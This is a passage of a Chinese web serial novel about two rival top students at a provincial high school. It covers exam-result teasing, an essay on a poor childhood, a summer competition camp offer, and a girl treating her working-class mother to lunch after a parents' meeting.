他蹲在路边抽烟,背后的三轮车上堆满了纸壳箱和塑料瓶。 16 暑期竞赛 梦境之中,世界变得虚无飘渺,远处的景象都是迷离模糊的。傍晚的夕阳里,血色云朵缓缓流动,映红了整个天空。 纪明川在一条破败的街道上奔跑,身后传来一阵嘶哑的吼叫声。 这是一个完全陌生的城市,不是省城,也不是他曾经去过的任何一个地方。空气中充满了烟尘气味,闻不到一丝活人气息。 街道两侧的钢铁大楼锈迹斑斑,仿佛随时会倾塌一般,艰难伫立在漫天飞扬的风沙里。 “别回头!”一个熟悉的声音忽然响起,从他的正前方传过来。 纪明川立即抬头,竟然看见了楚天青。 楚天青穿着一件沾满灰尘的运动服,长发高高束起,扎在脑后,显得十分沉稳干练,远超同龄人。 她手里握着一根铁棒,站在废弃地铁口的台阶上,眼神锋利如刀。 下一秒,她一个转身,抡起铁棒,将一头扑来的丧尸击倒,动作凶猛又狠辣,像是练习过无数次。 “纪明川,快过来!”她大喊。 纪明川站在原地,一句话也说不出来,甚至无法喊出任何声音。他从没见过这样的楚天青,勇敢、果断、满身灰尘,简直是从废墟中走出来的无敌战士。 楚天青回头看他一眼:“准备好了吗?跟我一起往前跑,别被那些东西追上!” 纪明川还没来得及反应,竟被她一把拉住了手,就像她平时牵着郑相宜、顾思安那样,仿佛只是下意识的决定,却又让他心头一震。 他们二人一同跑向街道深处,她的手掌温热而坚定。掌心之间渗出薄汗,微微一滑,谁也没松开一分,在贴合的触感中生出一种奇异的安定感。 “这些高楼废弃太久了,都快塌了,”楚天青语气急促,“地面不安全,走,我们去地下!” 他们跳入地铁隧道,光线一点点暗淡下来,脚步声急促又混乱,在空荡荡的隧道里回响。 他刚想开口,她忽然靠近,低声说:“别怕,我会保护你。” 纪明川猛地睁开眼睛。 他正躺在卧室的床上,时钟指向早晨六点一刻,天已大亮。 阳光透过窗帘缝隙,洒落在实木地板上,四周寂静无声,只能听见他自己的呼吸。 他怔了几秒,回过神来,低声骂了一句:“搞什么鬼?” 明明知道那只是一个梦,他的心跳却还没慢下来。他无奈地叹了一口气:“老天是不是在故意整我?” 今天是周一,又要去上学了. 今天比以往更加艰难,月考试卷即将发下来,位列年级第二的纪明川,注定要面对同学们的调侃。 纪明川洗了个澡,也洗掉了梦境残留的错觉。 从浴室出来后,他在冰箱里找到了昨晚剩下的米饭,随手炒了个蛋炒饭,又开了一罐气泡水,一边吃一边喝,情绪已然冷静了不少。 早晨七点二十五分,纪明川抵达了高三(17)班教室门口。 班上同学还是叫他“明神”,但语气里明显多了些笑意,气氛也和平日不同。坐在后排的几个男生甚至哄笑出声,很有几分看热闹不嫌事大的意味。 纪明川瞥了他们一眼,他们连忙拿起书本,装出一副正在读书的样子。 纪明川走到自己的座位,却没看见楚天青的人影。他嘴角轻轻一勾,不咸不淡地笑了笑。早读课都快开始了,楚天青竟然还没到校,是不是有一点骄傲了? 他没再多想,放下书包,翻开一本英语书,开始一行一行疯狂背诵。 下次考试,如果他语文和英语全考到满分,谁还能再超过他? 忽然,门口有人喊了一声:“楚天青来了!” 教室里顿时安静了下来,不过几秒之后,最爱起哄的几个同学又喊了一嗓子:“是青神,青神驾到!!” “早上好啊,青神!” “青神今天这气场,啧,简直意气风发!青神穿着这一件校服,也是将军出征般的威风凛凛!” 楚天青第一次遇到这样的热烈欢迎。她有些紧张,还有些恐慌。 但她很快想起了纪明川、郑相宜面对赞誉时那种不动声色的态度,便也学着他们的样子,淡然点头,朝着众人微笑示意。 讲台上,劳动委员冯康正在拖地,看见楚天青,立即侧身避让,笑着说:“青神慢点走啊,地刚拖完,还滑着呢。您要是磕着碰着了,谁来做我们省的高考状元?” 楚天青笑了笑,神色如常,没流露出一丝慌乱:“不是还有纪明川吗?” 冯康故意摇头:“哎呦,小纪哪儿能和您比啊?您这话说得也太谦虚了,您数理化生全部满分,小纪再努力,也差点意思。” 冯康这一句话里,“明神”两个字不见了,只剩一个轻描淡写的“小纪”。 纪明川实在忍无可忍。他一巴掌拍在自己额头上,呵,这一群马屁精,嘴上说着如此荒谬的话,竟然一点也不害臊。 “他们这些人也太夸张了,”纪明川自言自语,“全年级除了我们班,还有哪个班的学生喜欢搞这种小把戏?” 宋远舟轻轻拍了拍桌面:“这可是省立一中的传统啊,听说竞赛班更夸张,全国集训队也是这样,谁厉害就捧谁,习惯就好。再说了,同学起哄,也带点儿玩笑成分,别太当真了,大家压力都不小,闹着玩罢了……哦,还有,你们长得都挺好看,一举一动都容易引人关注。” 话没说完,他懒洋洋地靠着墙:“学校又不让我们玩手机,课间活动不就只剩下聊天、讲八卦、开玩笑了吗?” 纪明川没抬头,指节把英语书一敲:“少给他们找借口,整天在那儿起哄,还不如多刷几道题、多背几页单词,比什么都强。” 宋远舟忽然站起身来:“行了,你也别太在意了,好歹还是年级第二,和第一也没差几分,对吧?” 纪明川随口问他:“你要出去?” 纪明川刚想起身让路,宋远舟竖起了大拇指:“我也要去迎接青神!!” 这些人都疯了。 纪明川还是站了起来:“楚天青比你们正常多了,你们这些疯子别把她吓到了。” 宋远舟嗤笑一声,没再开口,飞速跑到了教室门外,和一群男生一起站在走廊上聊天。 就在这时,楚天青刚好走回座位。 她低着头,双手拽着书包带子,心里想着刚才那一连串的起哄声,没注意看路,也没抬头,直接撞上纪明川的胸膛。 纪明川被她撞得后退一步,顺势坐回了椅子上,左手一把握住了桌沿。桌上的水杯也晃了一下,水波颤动起来,一圈圈地往外扩散。 楚天青“啊”了一声:“对不起!我没看到你在这里站着,我真的不是故意的……” “不是已经坐下了吗?”纪明川重新坐正,“你也别再站着了。” 楚天青坐了下来,又看见纪明川的课桌上摆满了英语辅导书,真不知道他这是要干什么? 她小声打了个招呼:“早上好啊,纪明川。” 纪明川低声回答:“我不太好。” 楚天青沉默几秒,还是忍不住问:“就因为我月考比你分数高吗?” 她听见纪明川笑了一下,声音极轻,似是无奈,又似是嘲讽。 他依旧没回头看她,只说:“昨晚我梦到世界末日,丧尸病毒爆发了,到处都是灰尘和残骸。” “哇,那是噩梦吧?”楚天青急忙追问,“你梦见什么了?我在你的梦里吗?” 纪明川还是一动不动地坐着,仿佛化成了一座沉默的雕像。 楚天青偏过头,轻轻戳了戳他的后背:“你到底梦见什么了?有没有外星人,或者什么未知生物?” 楚天青对一切未知都充满好奇。她相信梦境与现实之间存在联系。 她偶尔会有一种奇妙的感觉,现实的某个场景,好像曾在梦里出现过,她自己也说不清,究竟是梦境预测了未来,还是现实模糊了记忆? 纪明川忽然开口说:“你把我从一群丧尸手里拉出来了。” 楚天青没想到他会这样回答。 “然后呢?”她的声音也不自觉压低了。 纪明川翻动了桌上的英语辅导书,指尖在书页上划了一个来回:“然后,你带我去了一个废弃的地铁站,我醒了,就在你把门关上的那一刻。” 楚天青认真分析:“听起来确实很像是我会做的事。如果真的爆发了丧尸病毒,地面上又有危险,我肯定会把临时基地设在地铁站……二战的时候,很多人就是在地铁里躲避空袭的。地铁够深,通风也好,又有完整的逃生通道,比地面建筑安全得多……” 楚天青这一句话还没说完,纪明川已经趴在了课桌上。她连忙问:“你怎么了?” “没事,”纪明川又坐直了身体,随便找了个借口,“可能是早饭吃多了,有点困。” 纪明川拿出自己最珍贵的笔记本,扉页早已写满了,没有一点空白的地方,全是“天道酬勤”、“心如水之源”之类的励志名句。 他翻开第一页,这一张纸还是崭新的。他又写了一行字,专门鼓励自己:不要气馁,不要妥协。 笔尖不曾停顿,他继续往下写:虽然她什么都懂,连二战防空洞都能想得到,但我…… “你什么?”楚天青的声音从他背后传来。 纪明川回过头,只见楚天青站在她的座位上,低头望着他的笔记本。他立即把本子合上:“偷看别人写日记,可不是什么好习惯。” 楚天青微微弯腰,与他距离更近:“但是你把我写进你的日记里了,我只想看和我有关的那一部分,我又不看别的。” “你还挺有理,”纪明川想笑却没笑,“不过,这本日记不是写给你看的,有理也没用。” 有理也没用? 楚天青又坐了下来。她确实很想看那个笔记本,却也知道纪明川不会轻易屈服。他嘴硬得很,绝不会说“求求你看看我的日记”,只会说“你不要再白费力气”。 她故意挑衅:“等我的月考试卷发下来,你会不会找我借卷子?” 早读课开始了,班上同学都在大声念书,纪明川却是沉默无语。他还没开口,楚天青又笑了出来:“我逗你玩的,我不要你的日记,我还是会把卷子借给你,哪一科都行。” 纪明川始终没说一个字,但他的心跳又加快了些。他假装平静地站起身来,讲台前冯康喊了一声:“纪明川,王老师叫你去办公室,领语文卷子回来发!” 纪明川的脚步比平日里更快。 几分钟后,纪明川抱着厚厚一沓卷子回到教室。班里顿时热闹了,不少人坐得更直了,空气一下子紧绷起来。 纪明川把卷子一摞一摞分发给各组的组长,很快,所有人都拿到了自己的试卷。 楚天青是全班最高分,连作文也几乎满分。答题卡上,她的名字旁边,多了一个鲜红的圈,那是王老师特意标注的语文第一名。 纪明川回到座位后,很客气地问:“能不能借我看看你的语文卷子?我可以和你交换。” 楚天青有些迟疑:“那你不能给别人看。” 纪明川立即答应:“一定不给别人看。” 过道上传来脚步声,楚天青抬头,看见宋远舟正慢悠悠地走过来。她小声问:“万一你同桌宋远舟非要看呢?” 纪明川想也没想,脱口而出:“那我就把他的头按到课桌上。” 说完他自己也愣了一下,补了一句:“当然,我会注意力度,不会给你惹麻烦。” “那倒不至于,”楚天青这才把她的试卷递给他,“但你得好好保管。” 卷子落到纪明川手里,他翻开纸页,看到了那一篇高分作文。 这一次的作文主题是“时间的回音”,要求十分明确:每个人都在时间中长大,也在时间中回望。童年的一朵花、一场雨、一句话,或许已经悄然改变了人生的方向。时间终将流逝,回音又有多少可以留存?请结合个人经历或观察,写一篇文章,文体不限,谈谈你在成长中所听见的“时间的回音”。 楚天青的作文题目是《屋檐下的雨声没有停过》,她的字迹端正又秀丽:“小时候的雨,落在屋檐下,浸湿篱笆,也滴进了竹筐里。那时候,家里老人都还健在,爷爷在村口修理自行车,奶奶在屋里缝补衣裳,外公外婆扛着锄头回家,妈妈已经做好了瓦罐汤,轻声唤我吃饭。我以为人生始终如此,父母会为我撑起一片天,风雨只是屋檐之外的喧嚣,就像远方陌生人的争吵声,我听见了,却不明白……” 第一段好像还挺正常的,纪明川还没读完,“砰”的一声,宋远舟敲响了他的课桌。 纪明川把卷子往怀里一塞,没让宋远舟看见一个字,然后才站起来,给宋远舟让路。 宋远舟狐疑地瞥了一眼纪明川,又转过身,和楚天青对视了几秒,但他什么也没发现,只能沉默地回到自己的座位上。 纪明川把自己的习题册和辅导书拿出来,一本又一本,堆放在课桌的交界处,垒出一道高大的书墙,完全挡住了宋远舟的视线。 宋远舟倒抽一口凉气,又不敢问纪明川,干脆回头问:“青神,你们怎么了?” “没什么,”楚天青喃喃自语,“我在思考人生。” “那你慢慢思考吧,我感觉你也不比我正常多少。”宋远舟转了回去,没再开口了。 纪明川仍在阅读那一篇作文。 他读到这几行字时,指尖略微抬了一下,又落回了纸页上:“八岁那年,外公走了。母亲带我从坟头回来,那晚下了一夜的雨……十三岁那年,爷爷奶奶相继倒下,家里债台高筑……我守着生病卧床的外婆,她躺在床上望着屋檐,一动不动……我仿佛站在生与死的分界线上,第一次意识到,人活在世间,其实一直是在为某个终点做准备……” 纪明川把纸页捋得更平整,接着默读下去:“年幼的我还不懂,原来成长,不只是一点一点往上走,也可能是一次一次往下坠……可也正因如此,人生会在前进与后退之外,找到属于自己的新方向。我渐渐明白,雨会停,天也会亮。倘若有一天,父母不能再为我撑伞,我也能依靠自己在雨中站立。我已经学会了独自撑伞,将来,也想把伞递给那些仍未走出风雨的人……” 全篇作文多处引经据典,既有《存在与虚无》《人生十论》《道德书简》的哲理精华,也夹杂《庄子》《韩非子》《古文观止》的思辨光芒。 纪明川合上试卷,把卷子还给楚天青。她神色平静,一句话也没说。 但他还记得她对命运与成长的感悟。那些文字里,没有哀号,也无怨恨,只是一笔一划记下回忆。 她写童年的离散,也写少年的隐忍,却不乞怜、不张扬。那样的从容与克制,实在是……让人想观察,又不敢打扰。 纪明川猛然回过神,他是不是想得太多了? “你的卷子呢?”楚天青又在他背后问,“不是说好了,我们两个人互换吗?” 纪明川把他的卷子往后一送,放到了楚天青的桌子上。 她低头翻看,很快就看完了。 他写得工整、流畅,结构完整,语言妥帖。可是她却觉得,没找到自己想看见的东西。 纪明川的这篇作文,没有流露出任何真实的回忆,也没有提及具体的人或事。 他只是把“童年”这个命题,嵌入了熟练的技法之中,像是一篇为高分而生的作品,缺少了一点真情实感。 “你的童年是什么样的?”楚天青直接问他。 “普普通通,”纪明川收回她递来的卷子,“没什么值得记住的。” 楚天青轻轻应了一声:“哦。” 她隐约猜到了,他不是没有故事,只是不愿意告诉任何人。 不知不觉,上午三节课很快过去。 前两节课,王老师带着大家订正语文试卷。第三节是生物课,老师讲得飞快,几乎一节课就讲完了月考内容。 第四节是自习课。王老师走进教室,目光在同学身上扫了一圈:“楚天青、郑相宜、纪明川,来,跟我去一趟办公室。” 办公室里开着空调,凉意扑面而来。楚天青紧贴着郑相宜,站在王老师的办公桌前。 王老师坐下,喝了口水,语气才缓了些:“你们三个人这次成绩都排在年级前列,如果能在接下来的全国竞赛里拿到奖项,对你们的综合评价也有好处。老师今天把你们叫来,是想提前说一声暑假的安排,虽然你们不在竞赛班,但咱们十七班是实验班,也有机会争取暑期竞赛集训的名额。” 17 钟摆效应 楚天青轻声问:“老师,如果我报名参加暑期竞赛培训……需不需要再交一笔学费?” “当然不用啊,”王老师笑了,“你代表学校参加竞赛,是为学校争光,老师怎么能收你的钱呢?” 楚天青犹豫了一下,才问:“那……宿舍呢?” 王老师拉开抽屉,拿出一份盖着钢印的文件:“老师正要和你说这事,你的宿舍减免申请已经批下来了,门牌号是204,和郑相宜、顾思安、陈曼一个寝室。” 楚天青这才意识到自己能和郑相宜做室友了。 喜悦如泉水一般涌上心头,原本紧绷的神经也放松了不少,楚天青连忙说:“谢谢老师,太谢谢了!” 说完,她忍不住又点了点头,反复确认这个消息是真的,太好了,真的太好了!今天她太幸运了! 王老师笑着把文件递给她:“下周一你就可以搬进去了,宿管那边会把你的名字录入系统。你住在学校宿舍,也方便暑期补课,你和郑相宜还能互相照应。” 郑相宜忽然伸出右手,握住了楚天青左手的手腕。 楚天青一怔,也轻轻反握住她。 两人十指相扣,默契地对视一眼。她们都没有开口,这一瞬的目光交汇,仿佛胜过千言万语。 这个暑假,她们会照顾彼此,一起努力。 纪明川站在一旁,与她们隔开了一段距离。他低着头,目光落在地砖的缝隙间,正陷入沉思之中,无意识地出神。 王老师接着说:“我已经联系了你们的家长,过两天学校会召开一个小型家长会,主要是和家长沟通暑期集训的安排,希望他们在后勤上多支持你们,给你们创造一个宽松的环境。” 听见“家长会”这三个字,楚天青又有些紧张了。 楚天青知道,爸爸妈妈学历不高,都只念到了初中。他们是有些自卑的。每当遇到需要家长出面的场合,他们总会犹豫很久,总觉得自己配不上那样正式的邀请,也不懂应该如何与各科老师沟通。 想到他们站在办公室门口,小心翼翼又不知所措的样子,她心里就隐隐发酸。 她并不在意别人怎么看待她,却不想让父母因为自己而在众人面前露怯。 那种感觉,说不清是委屈,还是心疼,又或者,只是一种无法形容的难堪。 当天晚上,回到家里,楚天青把王老师的话一五一十地告诉了爸爸妈妈。 现在是晚上八点十分,一家人正在吃晚饭。 桌上只有两道菜,一盘肉末茄子,一盘水煮白菜,简简单单,却是家中常见的晚餐。 妈妈吃了一口白菜,才说:“王老师给我打过电话了,我和你爸也说过了,后天我刚好能歇一天,到时候我去学校一趟,给你开家长会。” 楚天青点了点头:“几点开会?” “上午十一点半开始,应该十二点多就结束了。”妈妈回答。 妈妈的语气听起来平静,却夹杂着一丝低落与紧张。 楚天青察觉到了妈妈的情绪变化,立即想到了安慰她的办法。 楚天青夹了一筷子肉末茄子,放进妈妈的碗里:“妈妈,后天中午我们一起去学校食堂吃饭吧。你想不想吃酸菜鱼?我请你吃。” 妈妈看着碗里的茄子,拿筷子的手顿了一顿:“这能行吗?” 妈妈嘴上那样说着,眼眶却微微泛红,赶紧低下头去,吃了口饭,只怕让人看出她的情绪。 过了一会儿,妈妈轻声说:“宝宝,别乱花钱,学校的饭贵得很,一小盘菜十几块呢。” 妈妈还说:“你那点奖学金啊,得留着,慢慢用,别大手大脚的,钱可不经花。” 楚天青说话的声音更轻:“没关系的,学校给了我五百块餐补,奖学金也到账了两千。月考我又考了第一,还会再发一次奖学金。妈妈,就吃这一次酸菜鱼,好不好?我又不是天天吃,只是偶尔请你吃一顿。” 妈妈没再说什么,夹了一块茄子,慢慢地咬着。 楚天青知道,妈妈嘴上不说,心里却是高兴的。她从小就能看懂妈妈这种沉默的期待。 这天晚上,吃完饭后,妈妈从床底下找出一个纸盒子,翻出了一件衬衫和一条牛仔裤,都是她平时舍不得穿的。 她把这两件衣服洗得干干净净,晾到窗前,又一遍遍地抚平褶皱,像是在给自己打气。 楚天青心里明白,妈妈是在为家长会做准备。妈妈拿出了自己最好的衣服,想要以最体面的模样出现在学校。 两天后,家长会如期举行。 第四节课是自习课,上课铃还没打响,走廊上热闹得很,同学们还在说笑、打闹,楚天青却站在栏杆边,眼睛一眨不眨地望着远处的林荫道,等着妈妈的身影出现在那一片树影之中。 纪明川刚好从她身后走过。 楚天青下意识地回头,低声问:“你家长今天会来学校吗?” 纪明川停下脚步。周围还有不少同学在走动,他刻意与楚天青保持至少一米远的距离,免得同学又发出怪叫。 他低头看了一眼手表,才说:“我爸今天会来。” “你之前说过,你爸爸妈妈都是外科医生。”楚天青声音很轻,“那他们是不是都很忙?” 楚天青的父母工作也很忙,平时要请个假也是很不容易的。 她想从纪明川身上找到一点共鸣,缓解自己心中的焦虑。 纪明川往前走了一步,又后退半步,不经意地靠近她一些:“是很忙,我妈比我爸更忙。” 楚天青好奇地问:“他们具体是做什么的?” 纪明川想了想,诚实回答:“我爸做的是三叉神经痛的微血管减压手术,患者面部神经剧烈疼痛,需要动手术才能缓解。我妈只做三类手术,心脏搭桥术、房颤微创修复术,还有一个动脉导管闭合什么的,记不清了。” 楚天青听懂了,纪明川的妈妈是心脏外科医生,爸爸是神经外科医生。她本想从他身上找到一点相似之处,却忽然发现,他们原来是大不相同的。 楚天青转过身去,背对着纪明川。 他没看见她脸上的表情,只是在她背后轻声问:“你爸爸妈妈是……做什么工作的?” 楚天青没有回避,直接说:“我爸妈学历不高,初中没读完就辍学了。以前在老家种地,后来到县城打工,现在在一家服装厂做工人。厂长的老婆和他们是一个村的老乡,但也没什么照顾,待遇都和别人一样,淡季是按件算钱,旺季是按小时算钱。” 两天前,纪明川读过楚天青的作文,对她的家境已有一些了解,今天又听见她提起父母的工作,他一时怔然,说出了心里话:“你这么聪明,你父母传给你的基因应该是很好的。” “啊?”楚天青转过头来看他,“你觉得我很聪明吗?” 纪明川不太自然地看向了另一侧的栏杆:“谁都知道你很聪明。” 楚天青追问:“你觉得,你和我,谁更聪明?” 果然,宿敌就是宿敌,非要一较高下。 纪明川还没回答,楚天青笑了起来:“其实,聪明不一定只是考试考得好。有些人动手能力强,有些人会察言观色,还有一些人说话特别有分寸……这些都是聪明人。” 纪明川沉默了一下,低声说:“我并不擅长交际,动手能力也一般。” “那你……”楚天青走近了一步,“你就是不骄傲,不自大,不摆架子,这也是一种聪明。” 她笑着看他:“你明明什么都做得很好,却从不炫耀,也不会看不起别人。你说话总是很有分寸,也从来不会故意让人难堪。” 她偏了偏头,认真地说:“这不也是一种聪明吗?比考高分还难得多,很少有人能做得到。” 纪明川依旧站得笔直。 楚天青看见他把双手揣进上衣的侧边口袋里,不到两秒,又拿了出来,似有一种手足无措的感觉。 纪明川也察觉到了什么,抬手捋了一下衣领上的一道折痕,又因为他心不在焉,偶然间拉开了衣领,意外露出一截锁骨。他手指停顿了一瞬,又扣上了一枚衣扣,把锁骨重新遮了起来。 在阳光灿烂的走廊上,楚天青和纪明川视线交汇。她盯着他看了一会儿,喧闹的人群之中,唯独他们二人停留在静默的光影里。 纪明川正要开口,同学们的起哄声已经响起来了。 “喂,”有人大喊,“他们两个又在对视了!” 还有人边跑边笑:“以后要请我喝喜酒!” 和陆子昂玩得好的一个男生忽然大声说:“早晚在一起,谁先告白谁是狗!” 周围一群人哈哈大笑,那个男生还发出了狗叫声。 纪明川没好气地说:“你又在发疯。” 他忽然觉得楚天青刚才对他的评价太高了。他并不是“从来不会让人难堪”的人,现在就想让那些起哄的同学闭嘴。他冷声说:“你叫得比开水壶还响,能不能留点水给脑子用?” 楚天青忍不住笑了,没有细想这些人在发什么疯,也没有参与这一场吵闹的战争。其实她隐约明白,同学们真正想看到的是她和纪明川的反应。如果她毫无反应,同学们以后也不会再这样闹了,这就是心理学上的“钟摆效应”。 就像钟摆一样,你越是在意它,它越会晃动。你不再关注它,它就会停了。许多人,许多事,其实也不过如此。 她倚靠着栏杆,忽然看见了一道熟悉的身影。 是妈妈! 她穿过阳光斑驳的走廊,快步奔下楼梯,向着林荫道一路小跑过去。 妈妈真的来了! 楚天青眼睛一亮。她早就计划好了,今天中午要带妈妈一起去食堂吃饭。 她昨天就提前选好了位置,食堂二楼最安静、最隐蔽的角落,无人打扰,无人注意,只有她和妈妈。她们可以安心吃饭、说话,分享平时舍不得吃的酸菜鱼大餐。 妈妈没上过高中,也没去过学校食堂。今天,她想让妈妈感受一下自己的校园生活,也让妈妈尝尝食堂最受欢迎的饭菜—— 数学竞赛放到下章[可怜]要修一修,谢谢大家! 18 酸菜鱼 楚天青在林荫道上找到了妈妈。 今天妈妈把头发盘了起来,露出额头和鬓角,还戴了一支黑色发卡,收拢了细碎的发丝。 她穿着昨天洗过的涤纶衬衫,搭配一条深蓝色直筒牛仔裤,显得比平时更利落了不少。 看见楚天青,妈妈笑了笑,却没有像平常那样叫她“宝宝”,只是扬了扬手,轻声招呼她过来。 楚天青快步跑了过去:“妈妈,你知道家长会在哪里开吗?” “在一个多媒体教室,”妈妈说,“不是普通的家长会,是‘竞赛生家长会’。王老师把我拉进了一个微信群,里面全是竞赛生的家长。” 其实楚天青还没正式参加过竞赛,她满怀希望,却又有些忐忑不安。 提起“全国竞赛”这四个字,她觉得自己还是很渺小。她从来没有出过省,不知道省外的城市是什么样的,又怎么能和全国尖子生比拼高低呢? 可也正因如此,她急切地想要做出一番成绩。 她对竞赛的兴趣并不浓烈,真正打动她的,是那一笔可以缓解家庭负担的奖学金。 妈妈忽然拿出了手机,楚天青以为她要给自己看群聊消息,没想到,妈妈点开了相册。 手机的反应有些慢,卡顿了几秒,才把照片加载出来。 妈妈把屏幕递给她:“你们学校的玉兰花开了,我拍了一张,还拍了高三年级的教学楼,想到你每天在这里上课,妈妈心里就有种说不上来的感觉……” 楚天青看着照片,点了一下头,没有说话,只是静静地站在妈妈身边。 也不知道为什么,外婆和妈妈的身影交叠着浮现在脑海里。 外婆不认字,妈妈初中辍学了,而她现在正在省立一中读高中。省立一中是全省最好的高中。如果不是外婆和妈妈一直护着她,她早就被精神问题拖垮了,更不可能踏进省立一中的大门。 外婆叫李芳山,妈妈叫何金桂,她叫楚天青。 这三个名字连在一起,交织成一幅画面,回荡在意识的潜流之中——山上开满了桂花树,她坐在树上,望见了遥远的天空。 “妈妈,”楚天青挽起妈妈的手臂,“我带你去多媒体教室,家长会结束后,你给我发微信,我在教室门口等你。” “别打扰你上课了,”妈妈有些迟疑,“你以后还要参加竞赛,时间多紧张,别总想着妈妈……” “没事的,妈妈,就这一次。”楚天青出声打断她。 妈妈终于点了点头。 楚天青一路陪着妈妈走到多媒体教室。 那是一间位于教学楼一楼的宽敞教室,门口贴着“竞赛生家长会”的字条,白底黑字,被风吹得卷起了一角。 教室里开着空调,灯光明亮,投影幕布已经拉下,讲台两侧竖立着音响设备,竞赛组的两位老师正在调试麦克风。 固定式的软垫座椅一排一排面向讲台,几个家长坐了下来,小声说着话,他们显然不是初次见面,彼此之间十分熟悉。 楚天青的目光穿过人群,看见了郑相宜,还有郑相宜的妈妈。 郑相宜的妈妈穿着一条剪裁利落的米白色连衣裙,领口微敞,腰身收紧,裙摆自然垂落,脖子上还戴着一条珍珠项链。 她眉眼含笑,正在与另一位家长交谈,带着一种不动声色的从容,好像和谁都能聊得来似的。 楚天青一时看呆了,直到妈妈轻轻拍了拍她的后背,她才回过神来,小声说:“我……我看见我同学了。” “楚天青!”郑相宜走了过来,“自习课已经开始了,我们一起回教室吧。” 郑相宜的妈妈也跟着走来,站在郑相宜身后,对楚天青笑了笑:“这就是楚天青啊?我们家相宜经常提起你,说你们是好朋友,果然是个好孩子,一看就让人喜欢。” “是的,是的,”楚天青赶紧点头,垂下视线,不敢再看对方,“阿姨好,谢谢阿姨……” 这一句话说得颠三倒四,差点把舌头绊住了。她不记得自己究竟说了些什么,只觉得脸颊发烫,双手也不知道应该往哪里放。 她在心里许愿,希望有一天,她也能像郑相宜的妈妈一样,待人接物落落大方,沉稳平静地站在众人面前,不再慌乱,不再结巴,从容不迫地叙述自己的想法。 郑相宜的妈妈坐到了一旁的软垫座椅上。她看见楚天青的妈妈还站着,便热情地招呼她过去坐下。两人初次见面,竟是出奇的投缘,聊了几句,就加上加了微信,说是要好好交流一下养育女儿的经验与心得。 “快走吧,”郑相宜忽然对楚天青说,“我们还要上自习。” 郑相宜牵住楚天青的手腕,带她向外走去。 楚天青回头望了一眼,家长会已经开始了。 讲台上站着一位年轻男老师,身材挺拔,五官俊朗,穿着纯棉T恤和运动长裤,看上去真像一个刚毕业不久的大学生。 楚天青忽然有些拿不准,这位老师到底是刚满二十,还是已经三十出头了? 他正对着麦克风讲话:“各位家长、各位领导,大家好。我是省立一中数学竞赛组的副组长,段启言。非常荣幸今天能和大家见面,也感谢大家一直以来对竞赛工作的支持。我本人毕业于北京大学数学系,曾入选全国数学集训队,带过的学生有多人在全国数学奥林匹克竞赛中获得金牌、银牌……” 段启言老师? 在郑相宜的带领下,楚天青已经走出了多媒体教室,但她还记着“段启言”的名字:“段老师是数学竞赛组的,他在省立一中,好像挺有名的?” 郑相宜“嗯”了一声:“他教书教了快十年了。我听说他对学生要求很严,谁要是被他发现偷懒了,就会被骂是混子。” “混子?”楚天青忍不住笑了,“那他应该不会骂我们两个吧?” 郑相宜也笑了,偏过头,靠近她:“要是连你都挨骂,那所有人都逃不过了。” 楚天青反倒有些不好意思了。她可不是最优秀的学生。其实,在她看来,郑相宜比她更优秀。 郑相宜逻辑清晰,思维敏捷,无论遇到什么事,她都是不骄不躁的。 楚天青的心性就没那么稳定了。她觉得自己像是一团包着火星的棉絮,外表看起来柔软无害,内里却藏着一触即发的躁动不安。只要风一吹、火一碰,随时可能炸裂开来。 所谓的“少女心事”,并非温柔青涩的春梦,而是一种翻江倒海的情绪,一场不受控制的风暴,忽而委屈、忽而愤怒,忽而又想奋不顾身地去做点什么,想要证明自己,想要张开翅膀、飞向远方。 楚天青的思绪有些混乱。她连忙转移话题:“你爸爸妈妈工作也很忙吗?” 上课铃早已打响了,楼梯间里静得只剩下她们的脚步声。 郑相宜的鞋底停在了台阶上。她没有立刻回答,而是扶住了栏杆,低声说:“我没有爸爸。” “啊?”楚天青一时没反应过来。 郑相宜语气平淡,像在说别人的事:“我出生的时候,爸爸嫌我是个女孩,很失望,他只想要儿子。后来妈妈跟他离婚了,我从来没见过他,不知道他长什么样。” 楚天青不再谈论郑相宜的爸爸,只说:“那你妈妈一定特别特别爱你。” 她很认真:“你现在这么优秀,妈妈一定很骄傲……要是我有你这样的女儿,我每天一见到你就要夸你。” 郑相宜侧头看了她一眼,又低头笑了,说不清、道不明的一个笑容。 心里藏着很多话,到了嘴边,又被她咽回去了,她拍了拍扶手:“好啦,我们回去上自习。” 楚天青和郑相宜一前一后回到了十七班的教室。 讲台上,王老师正埋头批改作业,察觉到她们进门,只抬眼看了一下,轻声说:“回座位吧。”语气里听不出喜怒。 楚天青回到座位上,坐在她前排的纪明川略微转过身,似乎想对她说些什么。可是教室里太安静了,连轻微的响动都没有,他一句话都没讲出口,又沉默地转回去了。 这一节自习课很快就结束了。 下课铃一响,楚天青立即背上书包,飞快地奔向多媒体教室。 家长会刚好结束,她在人群中一眼看到了妈妈,高兴得像一只扑进草地的小鹿。 她快步迎上去,握住妈妈的手,欢欣雀跃:“走,我带你去吃饭!” 她带着妈妈离开教学楼,走向食堂二楼。 现在才刚下课不久,食堂里的人还不算多,地面和桌面都是干净整洁的,正是用餐的好地方。 妈妈望着食堂窗口:“这些菜看起来都很好啊……” 楚天青把妈妈带到了她昨天选好的那个位置,放下书包,拿起校园卡,飞快跑到窗口前,排在队伍里,竟然感到前所未有的轻松。 很快,她买到了酸菜鱼双人套餐,一盆香喷喷的酸菜鱼,两碗热腾腾的白米饭,那汤面上还点缀着几滴辣椒油,闻起来又香又开胃。 她端着托盘,小心翼翼地穿过人群,走向妈妈坐着的角落:“妈妈,我们一起吃吧!” 妈妈看着那一盆酸菜鱼,先掏出手机拍了一张照片,拍完才拿起筷子,夹起一块细嫩鱼肉,放进楚天青的碗里。 楚天青赶紧夹了一块更大的鱼肉送过去:“你也吃,这是双人份的,我一个人是吃不完的。” 鱼肉还冒着热气,妈妈把它夹在筷子上,轻轻吹了吹,才放进嘴里,还没嚼完就说:“真好吃,很嫩,不腥,汤味也浓。” 楚天青把酸菜、鱼肉都盖在米饭上,再捞起一小撮豆芽,低头吹了十几秒,慢慢送入口中。 鱼汤的鲜香瞬间溢满口腔,鱼肉滑嫩入味,几乎不用咀嚼,就在舌尖化开了。酸菜脆爽微辣,还带着一股泡椒香气,吸饱了那一股鲜酸味,刚好平衡了鱼肉的滑腻感。 她又舀了一勺汤,淋在白米饭上,吃了一口鱼肉、米饭和豆芽。 米饭软烂,豆芽清爽,实在太香了,香得让人忘记了疲惫,忘记了那些说不清的烦恼,仿佛全世界只剩下这一张餐桌,这一顿热腾腾的饭菜,还有坐在对面的妈妈。 